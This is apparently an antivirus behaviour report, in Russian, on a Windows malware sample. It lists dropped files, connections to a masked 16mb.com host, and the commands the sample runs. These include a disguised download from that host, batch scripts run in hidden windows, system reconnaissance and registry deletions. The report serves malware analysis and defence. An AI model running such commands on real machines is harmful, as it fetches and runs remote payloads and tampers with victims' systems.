Техническая информация
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /F /IM SMΔRTP.exe
Изменения в файловой системе
Создает следующие файлы
- %WINDIR%\syswow64\winjson.exe
- %WINDIR%\syswow64\getsecberjalur.deb
- %WINDIR%\syswow64\getsecberjalur.exe
- %TEMP%\3b7f.tmp\getsecberjalur.bat
- %WINDIR%\syswow64\v™.apx
- %TEMP%\3526.tmp\v.bat
- %TEMP%\smadav-tk.lnk
- %TEMP%\systeminfo-x64-or-x86-based-custom.txt
- %WINDIR%\syswow64\exc™.bat
- %WINDIR%\syswow64\acquisition exc.py
- %TEMP%\f251.tmp\exc.bat
- %WINDIR%\syswow64\getsecberjalur.vpx
- nul
- %WINDIR%\syswow64\smadav-tk.exe
- %WINDIR%\syswow64\smadav-help.exe
- %WINDIR%\syswow64\getvgoxxxberjalur.exe
- %WINDIR%\syswow64\getvcusberjalur.exe
- %WINDIR%\syswow64\getapccberjalur.exe
- %WINDIR%\syswow64\recognition_keep-fresh-.exe
- %WINDIR%\syswow64\exc.exe
- %WINDIR%\syswow64\cegahchromefox.exe
- %WINDIR%\syswow64\cable.runstime.exe
- %TEMP%\e89d.tmp\serv acquisition-fr.bat
- %WINDIR%\syswow64\custom_amd64.deb
- %WINDIR%\syswow64\go go.gif
Удаляет следующие файлы
- %WINDIR%\syswow64\acquisition exc.py
- %WINDIR%\syswow64\exc™.bat
- %TEMP%\f251.tmp\exc.bat
- %WINDIR%\syswow64\v™.apx
- %TEMP%\3526.tmp\v.bat
Сетевая активность
Подключается к
- 'ke####n.16mb.com':80
UDP
- DNS ASK google.com
- DNS ASK ke####n.16mb.com
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\winjson.exe'
- '%WINDIR%\syswow64\exc.exe'
- '%WINDIR%\syswow64\smadav-tk.exe'
- '%WINDIR%\syswow64\smadav-help.exe'
- '%WINDIR%\syswow64\getvcusberjalur.exe'
- '%WINDIR%\syswow64\getsecberjalur.exe' --referer=user(siiwrtwpx) --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -N --tries=77 --read-timeout=300 http://ke####n.16mb.com/c.o.s.r/(def...
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\E89D.tmp\Serv Acquisition-Fr.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\F251.tmp\exc.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\3526.tmp\v.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\3B7F.tmp\getsecberjalur.bat" "' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\E89D.tmp\Serv Acquisition-Fr.bat" "
- '%WINDIR%\syswow64\ping.exe' -n 1 www.google.com
- '%WINDIR%\syswow64\find.exe' "TTL="
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\F251.tmp\exc.bat" "
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\findstr.exe' /B /C:"OS Name" /C:"System Model" /C:"System Type" /C:"Host Name"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\systeminfo-x64-or-x86-based-custom.txt" "
- '%WINDIR%\syswow64\findstr.exe' "XP"
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\3526.tmp\v.bat" "
- '%WINDIR%\syswow64\reg.exe' DELETE "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /f
- '%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\3B7F.tmp\getsecberjalur.bat" "
- '%WINDIR%\syswow64\ping.exe' -n 1 23.6.98.234
